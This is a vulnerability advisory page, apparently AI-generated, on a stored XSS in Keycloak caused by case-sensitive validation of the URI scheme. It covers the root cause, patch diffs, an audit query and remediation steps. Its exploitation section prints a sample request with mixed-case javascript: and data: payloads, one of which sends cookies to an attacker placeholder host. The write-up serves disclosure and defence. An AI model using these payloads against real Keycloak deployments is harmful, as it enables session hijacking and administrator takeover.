CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-9086

CVE-2026-9086: Stored Cross-Site Scripting via Case-Sensitive URI Scheme Validation Bypass in Keycloak

Amit Schendel
Amit Schendel
Senior Security Researcher

Oct 30, 2026·10 min read·5 visits

Executive Summary (TL;DR)

Keycloak validates client URIs against dangerous schemes like 'javascript:' and 'data:' using case-sensitive string comparisons (String.equals()). Because web browsers treat URI schemes as case-insensitive per RFC 3986, an attacker with client configuration privileges can bypass validation using mixed-case schemes (e.g., 'jaVaSCript:') to achieve stored Cross-Site Scripting (XSS) within the Keycloak security origin.

CVE-2026-9086 is a stored Cross-Site Scripting (XSS) vulnerability in Keycloak and the Red Hat build of Keycloak. The vulnerability stems from a case-sensitive URI scheme validation check in DefaultClientValidationProvider, allowing attackers with client registration or management permissions to inject javascript: or data: URIs using mixed-case characters.

Vulnerability Overview

Keycloak is an open-source identity and access management solution that provides single sign-on (SSO) capabilities via OpenID Connect (OIDC), OAuth 2.0, and SAML 2.0 protocols. Within a Keycloak realm, relying parties and applications are represented as client entities. Each client configuration contains multiple Uniform Resource Identifier (URI) attributes—such as redirect URIs, post-logout redirect URIs, administration URLs, and logo URIs—that dictate where the authorization server directs user agents during authentication and session management workflows.

Because these configured URIs are frequently rendered into HTML anchor tags within the Keycloak Admin Console or used as navigation targets during user-facing authentication and logout flows, Keycloak enforces server-side input validation through the DefaultClientValidationProvider class. This validation mechanism is designed to prevent stored Cross-Site Scripting (CWE-79) by rejecting client configurations that specify dangerous pseudo-protocols, specifically the javascript: and data: schemes.

In versions prior to the patch for CVE-2026-9086, DefaultClientValidationProvider evaluated candidate URI schemes using case-sensitive string matching. While RFC 3986 specifies that URI schemes are case-insensitive and must be processed equivalently regardless of capitalization, Java's java.net.URI parser preserves the exact character casing provided in the input string. By supplying mixed-case schemes such as jaVaSCript: or DaTa:, an attacker can bypass the validation filter completely.

Exploitation requires the attacker to possess permissions to create or modify client configurations—either via the manage-client realm role or through Keycloak's Dynamic Client Registration endpoints. Once a malicious URI is stored in the realm database, any administrator or end-user who triggers navigation to that URI executes arbitrary JavaScript within the context of the Keycloak authorization server's origin.

Root Cause Analysis

The root cause of CVE-2026-9086 is an improper input validation check (CWE-20) leading to a filter bypass and stored Cross-Site Scripting (CWE-79) within services/src/main/java/org/keycloak/validation/DefaultClientValidationProvider.java. When a client entity is registered or updated via the Admin REST API or Dynamic Client Registration service, Keycloak invokes validateUrls(ValidationContext<ClientModel> context) to verify the structural validity and safety of the client's associated URLs.

Inside the helper methods checkUri() and checkUriLogo(), the candidate URL string is passed to the java.net.URI constructor: URI uri = new URI(urlToCheck);. When uri.getScheme() is called on the resulting object, the standard Java runtime returns the scheme substring with its original character casing intact. Unlike certain browser DOM APIs that automatically canonicalize the scheme to lowercase during parsing, java.net.URI performs no such normalization on the scheme property.

The validation logic subsequently checked for prohibited schemes by invoking uri.getScheme().equals("data") and uri.getScheme().equals("javascript"). Because java.lang.String.equals() conducts a strict, case-sensitive lexicographical comparison, any URI scheme containing one or more uppercase ASCII characters fails to match the blocklist strings. Consequently, the validation method sets no error on the ValidationContext, allowing the transaction to commit the unvalidated URI directly to persistent storage.

Furthermore, an audit of DefaultClientValidationProvider during the remediation process revealed an incomplete validation scope across the client model. While REDIRECT_URIS, BACKCHANNEL_LOGOUT_URL, LOGO_URI, POLICY_URI, and TOS_URI were passed through checkUri() or checkUriLogo(), several other OIDC and SAML client URL attributes were omitted from validation altogether. Specifically, POST_LOGOUT_REDIRECT_URIS, REQUEST_URIS, ADMIN_URL (for OIDC clients), JWKS_URL, and FRONTCHANNEL_LOGOUT_URL were not subjected to scheme validation, providing secondary vectors for storing dangerous URI schemes.

Code Analysis

The vulnerability was addressed in commit 32cdceb80aeb43dc082bb032a87daa5105ea1fbd. The primary fix replaces the case-sensitive String.equals() calls in checkUri() and checkUriLogo() with String.equalsIgnoreCase(), ensuring that all casing permutations of javascript and data are rejected.

// File: services/src/main/java/org/keycloak/validation/DefaultClientValidationProvider.java
 
private void checkUri(FieldMessages field, String url, ValidationContext<ClientModel> context, boolean checkValidUrl, boolean checkFragment) {
    // ... [URI resolution and null checks omitted] ...
    try {
        URI uri = new URI(urlToCheck);
 
        boolean valid = true;
        // BEFORE PATCH:
        // if (uri.getScheme() != null && (uri.getScheme().equals("data") || uri.getScheme().equals("javascript"))) {
        
        // AFTER PATCH: Use equalsIgnoreCase to prevent mixed-case bypasses
        if (uri.getScheme() != null && (uri.getScheme().equalsIgnoreCase("data") || uri.getScheme().equalsIgnoreCase("javascript"))) {
            context.addError(field.getFieldId(), field.getScheme(), field.getSchemeKey());
            valid = false;
        }
        // ... [Fragment and URL validity checks omitted] ...
    }
}
 
private void checkUriLogo(FieldMessages field, String url, ValidationContext<ClientModel> context) {
    // ... [Null checks omitted] ...
    try {
        URI uri = new URI(url);
 
        // BEFORE PATCH:
        // if (uri.getScheme() != null && uri.getScheme().equals("javascript")) {
        
        // AFTER PATCH: Enforce case-insensitive scheme comparison on logo URIs
        if (uri.getScheme() != null && uri.getScheme().equalsIgnoreCase("javascript")) {
            context.addError(field.getFieldId(), field.getScheme(), field.getSchemeKey());
        }
    }
}

In addition to correcting the string comparison method, the patch expands validateUrls() to validate previously uninspected OIDC client attributes. The updated method extracts multivalued attributes for POST_LOGOUT_REDIRECT_URIS and REQUEST_URIS, as well as single-valued URLs for ADMIN_URL, JWKS_URL, and FRONTCHANNEL_LOGOUT_URL, routing each through ResolveRelative.resolveRelativeUri() and checkUri().

// File: services/src/main/java/org/keycloak/validation/DefaultClientValidationProvider.java
 
List<String> postLogoutRedirectUris = clientWrapper.getAttributeMultivalued(OIDCConfigAttributes.POST_LOGOUT_REDIRECT_URIS);
postLogoutRedirectUris.stream()
        // Exclude special Keycloak shorthand tokens (+, -, *) from URI parsing
        .filter(uri -> !"-".equals(uri) && !"+".equals(uri) && !"*".equals(uri))
        .map(u -> ResolveRelative.resolveRelativeUri(authServerUrl, authServerUrl, rootUrl, u))
        .forEach(u -> checkUri(FieldMessages.POST_LOGOUT_REDIRECT_URIS, u, context, false, true));
 
List<String> requestUris = clientWrapper.getRequestUris();
requestUris.stream()
        .map(u -> ResolveRelative.resolveRelativeUri(authServerUrl, authServerUrl, rootUrl, u))
        .forEach(u -> checkUri(FieldMessages.REQUEST_URIS, u, context, false, false));
 
if (OIDCLoginProtocol.LOGIN_PROTOCOL.equals(client.getProtocol())) {
    String adminUrl = ResolveRelative.resolveRelativeUri(authServerUrl, authServerUrl, rootUrl, client.getManagementUrl());
    if (adminUrl != null && adminUrl.contains(CLIENT_SESSION_HOST_PROPERTY)) {
        // Replace ${application.session.host} placeholder with 'localhost' to allow URI parsing
        adminUrl = adminUrl.replace(CLIENT_SESSION_HOST_PROPERTY, "localhost");
    }
    checkUri(FieldMessages.ADMIN_URL, adminUrl, context, true, false);
}
String jwksUrl = ResolveRelative.resolveRelativeUri(authServerUrl, authServerUrl, rootUrl, clientWrapper.getJwksUrl());
checkUri(FieldMessages.JWKS_URL, jwksUrl, context, true, false);
String frontchannelLogoutUrl = ResolveRelative.resolveRelativeUri(authServerUrl, authServerUrl, rootUrl, clientWrapper.getFrontChannelLogoutUrl());
checkUri(FieldMessages.FRONTCHANNEL_LOGOUT_URL, frontchannelLogoutUrl, context, true, false);

> [!NOTE] > Assessment of Fix Completeness: While equalsIgnoreCase() effectively neutralizes mixed-case variations of javascript: and data: across the newly expanded attribute set, the validation architecture remains dependent on a denylist approach rather than an explicit allowlist of safe schemes (such as http, https, or custom mobile app schemes). Furthermore, in checkUriLogo(), the check only blocks javascript: and does not block data: URIs, which is intentional to support inline base64 image rendering in <img> tags, provided logo URIs are never rendered inside navigable anchor (<a>) or frame (<iframe>) elements.

Exploitation

To exploit CVE-2026-9086, an attacker must possess privileges to register or modify a client within a target Keycloak realm. This prerequisite is satisfied if the attacker compromises a delegated administrator account with the manage-client role, or if the realm enables open or weakly authenticated Dynamic Client Registration via /realms/{realm}/clients-registrations/default or /realms/{realm}/clients-registrations/openid-connect.

The attack begins by sending an HTTP POST or PUT request containing a JSON ClientRepresentation payload to /admin/realms/{realm}/clients (or the corresponding registration endpoint). Within the redirectUris array or attributes map (such as post.logout.redirect.uris), the attacker injects a mixed-case payload. Because the server returns HTTP 201 Created or 204 No Content without raising a validation error, the payload persists in the Keycloak database.

POST /admin/realms/master/clients HTTP/1.1
Host: keycloak.example.com:8180
Authorization: Bearer <access_token_with_manage_client>
Content-Type: application/json
 
{
  "clientId": "malicious-oidc-client",
  "enabled": true,
  "publicClient": true,
  "protocol": "openid-connect",
  "redirectUris": [
    "jaVaSCript:fetch('https://attacker.example/exfil?t='+document.cookie)",
    "DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+"
  ]
}

Once the client is stored, execution is triggered when a victim interacts with the URI in a browser context rendered by Keycloak. For example, during an OIDC logout flow where the user is presented with a post-logout redirection link, or within the Keycloak Admin Console where a higher-privileged realm or master administrator inspects the client configuration and clicks a rendered link (such as the client's Base URL, Admin URL, or Redirect URI). When the link is activated, the browser normalizes the jaVaSCript: scheme and executes the inline script within the Keycloak security origin.

A public Proof-of-Concept (PoC) script released by the vulnerability reporter (saku0512) automates the verification of this bypass. The script authenticates against /realms/{realm}/protocol/openid-connect/token using admin-cli, submits a client containing jaVaSCript:alert(document.domain) or DaTa:text/html;base64,..., and inspects the HTTP response status. On vulnerable instances, the API returns HTTP 201, and a subsequent GET request to the newly created client's Location URL confirms the unescaped URI is stored verbatim.

Impact Assessment

CVE-2026-9086 is rated with a CVSS v3.1 base score of 7.3 (High) under the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N. The attack complexity is low (AC:L) and network-accessible (AV:N), requiring low privileges (PR:L) corresponding to client management rights and user interaction (UI:R) from a victim navigating to the stored URI.

The primary security impact is horizontal and vertical privilege escalation within the Keycloak administration plane. In multi-tenant or delegated administration deployments, a user restricted to managing clients (manage-client) or registering applications via Dynamic Client Registration does not possess full realm control (manage-realm or admin). However, when a realm administrator views the malicious client and triggers the stored XSS payload, the attacker's JavaScript executes under the administrator's authenticated session.

Because the script runs directly inside the Keycloak origin, it has full access to the DOM, localStorage, sessionStorage, and any non-HttpOnly cookies, as well as the ability to issue authenticated requests to the Keycloak Admin REST API using the victim's active bearer token. An attacker can leverage this access to create new master administrator accounts, extract private signing keys or client secrets, modify authentication flows, or alter identity provider mappings across the realm.

For end-users triggered via authentication or logout redirection flows, the impact includes session hijacking (MITRE ATT&CK T1185), credential harvesting via DOM manipulation on the login origin, and unauthorized OAuth token issuance. According to FIRST EPSS metrics, the vulnerability currently carries an EPSS score of 0.00781 (55.86th percentile) and is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

Remediation

Organizations running upstream Keycloak should upgrade to version 26.6.4 or later, which includes commit 32cdceb80aeb43dc082bb032a87daa5105ea1fbd. Customers utilizing the Red Hat build of Keycloak must apply the appropriate errata updates: versions on the 26.4 release stream must be upgraded to 26.4.13 (via advisories RHSA-2026:30049 and RHSA-2026:30050), and versions on the 26.6 release stream must be upgraded to 26.6.4 (via advisories RHSA-2026:30083 and RHSA-2026:30084).

Because patching only enforces validation when a client is created or updated, upgrading Keycloak does not automatically sanitize malicious URIs that were stored in the database prior to the update. Administrators must audit existing client configurations across all realms via the Admin REST API or direct database queries to identify any stored javascript: or data: schemes.

-- Example SQL audit query for Keycloak relational database backends
SELECT c.id, c.client_id, c.realm_id, r.value AS redirect_uri
FROM client c
JOIN redirect_uris r ON c.id = r.client_id
WHERE LOWER(r.value) LIKE 'javascript:%' OR LOWER(r.value) LIKE 'data:%'
UNION ALL
SELECT c.id, c.client_id, c.realm_id, ca.value AS attribute_uri
FROM client c
JOIN client_attributes ca ON c.id = ca.client_id
WHERE LOWER(ca.value) LIKE 'javascript:%' OR LOWER(ca.value) LIKE 'data:%';

If immediate patching is not feasible, administrators should implement access control workarounds to eliminate the attack vector. Restrict the assignment of the manage-client role strictly to fully trusted realm administrators. Additionally, review Realm Settings -> Client Registration -> Client Registration Policies to ensure that Anonymous Access Policies are disabled or restricted, and require authenticated Initial Access Tokens (IAT) generated only by trusted personnel for all Dynamic Client Registration requests.

Official Patches

KeycloakOfficial upstream commit fixing case-sensitive scheme validation and adding validation for additional client URL attributes.
Red HatRed Hat Security Advisory for Red Hat build of Keycloak 26.4.13
Red HatRed Hat Security Advisory for Red Hat build of Keycloak 26.4.13 container image
Red HatRed Hat Security Advisory for Red Hat build of Keycloak 26.6.4
Red HatRed Hat Security Advisory for Red Hat build of Keycloak 26.6.4 container image

Fix Analysis (1)

Technical Appendix

CVSS Score
7.3/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
EPSS Probability
0.78%
Top 44% most exploited

Affected Systems

KeycloakRed Hat build of Keycloak

Affected Versions Detail

Product
Affected Versions
Fixed Version
Keycloak
Keycloak
< 26.6.426.6.4
Red Hat build of Keycloak
Red Hat
>= 26.4, < 26.4.1326.4.13
Red Hat build of Keycloak
Red Hat
>= 26.6, < 26.6.426.6.4
AttributeDetail
Vulnerability IDCVE-2026-9086
Weakness ClassCWE-79 (Stored Cross-Site Scripting)
Affected ComponentDefaultClientValidationProvider (Keycloak Services)
Attack VectorNetwork (Admin REST API / Client Registration)
CVSS v3.1 Score7.3 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)
EPSS Score0.78% (55.86th Percentile)
Exploit StatusPublic PoC Available
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Known Exploits & Detection

GitHubPublic Proof-of-Concept Python script by reporter saku0512 demonstrating the mixed-case javascript: and data: URI validation bypass via the Keycloak Admin REST API.

Vulnerability Timeline

Fix commit 32cdceb80aeb43dc082bb032a87daa5105ea1fbd authored and merged into Keycloak repository.
2026-06-11
CVE-2026-9086 officially published to CVE.org and NVD; Red Hat releases security advisories RHSA-2026:30049, RHSA-2026:30050, RHSA-2026:30083, and RHSA-2026:30084.
2026-06-25
Upstream Keycloak 26.6.4 released containing the patch.
2026-06-26
NVD and CVE.org update vulnerability metadata and CVSS v3.1 scoring.
2026-07-15
Reporter saku0512 publishes the verification PoC repository on GitHub.
2026-08-10

References & Sources

  • [1]Red Hat CVE-2026-9086 Security Page
  • [2]Red Hat Security Advisory: RHSA-2026:30049
  • [3]Red Hat Security Advisory: RHSA-2026:30050
  • [4]Red Hat Security Advisory: RHSA-2026:30083
  • [5]Red Hat Security Advisory: RHSA-2026:30084
  • [6]Red Hat Bugzilla #2480170
  • [7]Red Hat CSAF VEX Data for CVE-2026-9086
  • [8]CVE.org Record: CVE-2026-9086
  • [9]NVD Detail: CVE-2026-9086
  • [10]Keycloak Fix Commit 32cdceb80aeb43dc082bb032a87daa5105ea1fbd
  • [11]Keycloak GitHub Issue / PR #50347
  • [12]GitHub Proof of Concept Repository by saku0512

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•7 minutes ago•CVE-2026-9799
4.6

CVE-2026-9799: Authorization Bypass via UMA Permission Ticket Wildcard in Keycloak

CVE-2026-9799 is an authorization bypass vulnerability in the User-Managed Access (UMA) subsystem of Keycloak (org.keycloak.authorization). When a resource server is configured with the non-default PERMISSIVE policy enforcement mode, an authenticated user holding a valid UMA permission ticket for a single typed resource can obtain an authorization Requesting Party Token (RPT) granting access to all resources of the same type across the resource server. By submitting an authorization request with the type selector prefix 'resource-type-any:<type>', the attacker bypasses instance-level owner approval checks for unshared peer resources that lack explicit static administrative policies.

Alon Barad
Alon Barad
0 views•9 min read
•about 1 hour ago•CVE-2026-9083
4.9

CVE-2026-9083: Arbitrary Filesystem Path Probing in Keycloak Java Keystore Key Provider

CVE-2026-9083 is a path traversal and information disclosure vulnerability (CWE-22) affecting Keycloak and the Red Hat build of Keycloak. The vulnerability resides in the Java Keystore key provider component (JavaKeystoreKeyProviderFactory), which fails to restrict the user-supplied keystore file path to a designated directory. An authenticated realm administrator holding the 'manage-realm' role can supply arbitrary absolute or relative filesystem paths when configuring a key provider. Because the application returns distinct error messages depending on whether the target path does not exist, lacks read permissions, or fails keystore parsing, an attacker can use this component as an oracle to probe the underlying host filesystem.

Alon Barad
Alon Barad
2 views•11 min read
•about 3 hours ago•CVE-2026-62290
7.3

CVE-2026-62290: ClusterIssuer DNS01 Solver Policy Bypass and Credential Exfiltration in cert-manager

CVE-2026-62290 is an incorrect authorization vulnerability (CWE-863) in cert-manager that allows low-privileged Kubernetes namespace tenants to bypass ClusterIssuer DNS01 solver policies and exfiltrate cluster-scoped DNS credentials. By directly creating standalone ACME Challenge custom resources rather than going through the standard Certificate and Order workflow, an attacker can specify arbitrary solver provider configurations while referencing a privileged ClusterIssuer. The cert-manager ACME challenge controller reconciles these directly instantiated Challenge resources without verifying their parentage or validating the user-supplied solver parameters against the referenced ClusterIssuer's selector policies.

Amit Schendel
Amit Schendel
7 views•9 min read
•about 4 hours ago•CVE-2026-118662
6.9

CVE-2026-118662: Access Control Bypass via Uncanonicalized Query Parameters in Vite Development Server

CVE-2026-118662 (also tracked as GHSA-8g5g-mxqh-grgj) is an improper access control and path canonicalization vulnerability in the Vite frontend build and development tool. In version 6.4.4, the Vite development server fails to strip transform and loader query parameters before evaluating file paths against the `server.fs.deny` configuration directive. When the development server is exposed to a network and sensitive files located within `server.fs.allow` match patterns in `server.fs.deny`, an unauthenticated remote attacker can bypass file access restrictions by appending specific query strings such as `?raw` or `?inline` to HTTP requests. This allows arbitrary retrieval of restricted files, including environment configuration files and private cryptographic keys.

Alon Barad
Alon Barad
8 views•11 min read
•about 5 hours ago•CVE-2026-115909
7.5

CVE-2026-115909: Unbounded Symlink-Target Allocation Causes Process Abort in Rust zip Crate

A vulnerability in the Rust `zip` crate (versions 1.3.0 prior to 9.0.0) allows an attacker to trigger an uncatchable process abort via a crafted ZIP archive. When extracting symbolic link entries on Unix or Windows targets, `ZipArchive::extract` passes the untrusted, attacker-controlled `uncompressed_size` header value directly to `Vec::with_capacity` before reading or validating entry payload data. By supplying a 112-byte archive with a ZIP64 extended information field declaring an excessive uncompressed size, an attacker forces the memory allocator to fail and invoke `handle_alloc_error()`, immediately terminating the entire process with `SIGABRT`.

Alon Barad
Alon Barad
5 views•11 min read
•about 6 hours ago•CVE-2026-115906
6.5

CVE-2026-115906: AES Entry HMAC Authentication Bypass in Rust zip Crate

CVE-2026-115906 is a cryptographic authentication bypass vulnerability in the Rust zip library (zip-rs/zip2) affecting versions from 0.6.0 prior to 9.0.0. In the WinZip AE-x AES decryption reader implementation within src/aes.rs, the HMAC-SHA1-80 authentication tag is only validated when the internal byte counter (data_remaining) decrements to exactly zero. Because this counter is initialized from the unauthenticated compressed_size header field, an attacker can craft a ZIP archive where the entry stream hits premature physical end-of-file (EOF) before data_remaining reaches zero, causing the reader to return Ok(0) and skip HMAC verification entirely.

Alon Barad
Alon Barad
7 views•13 min read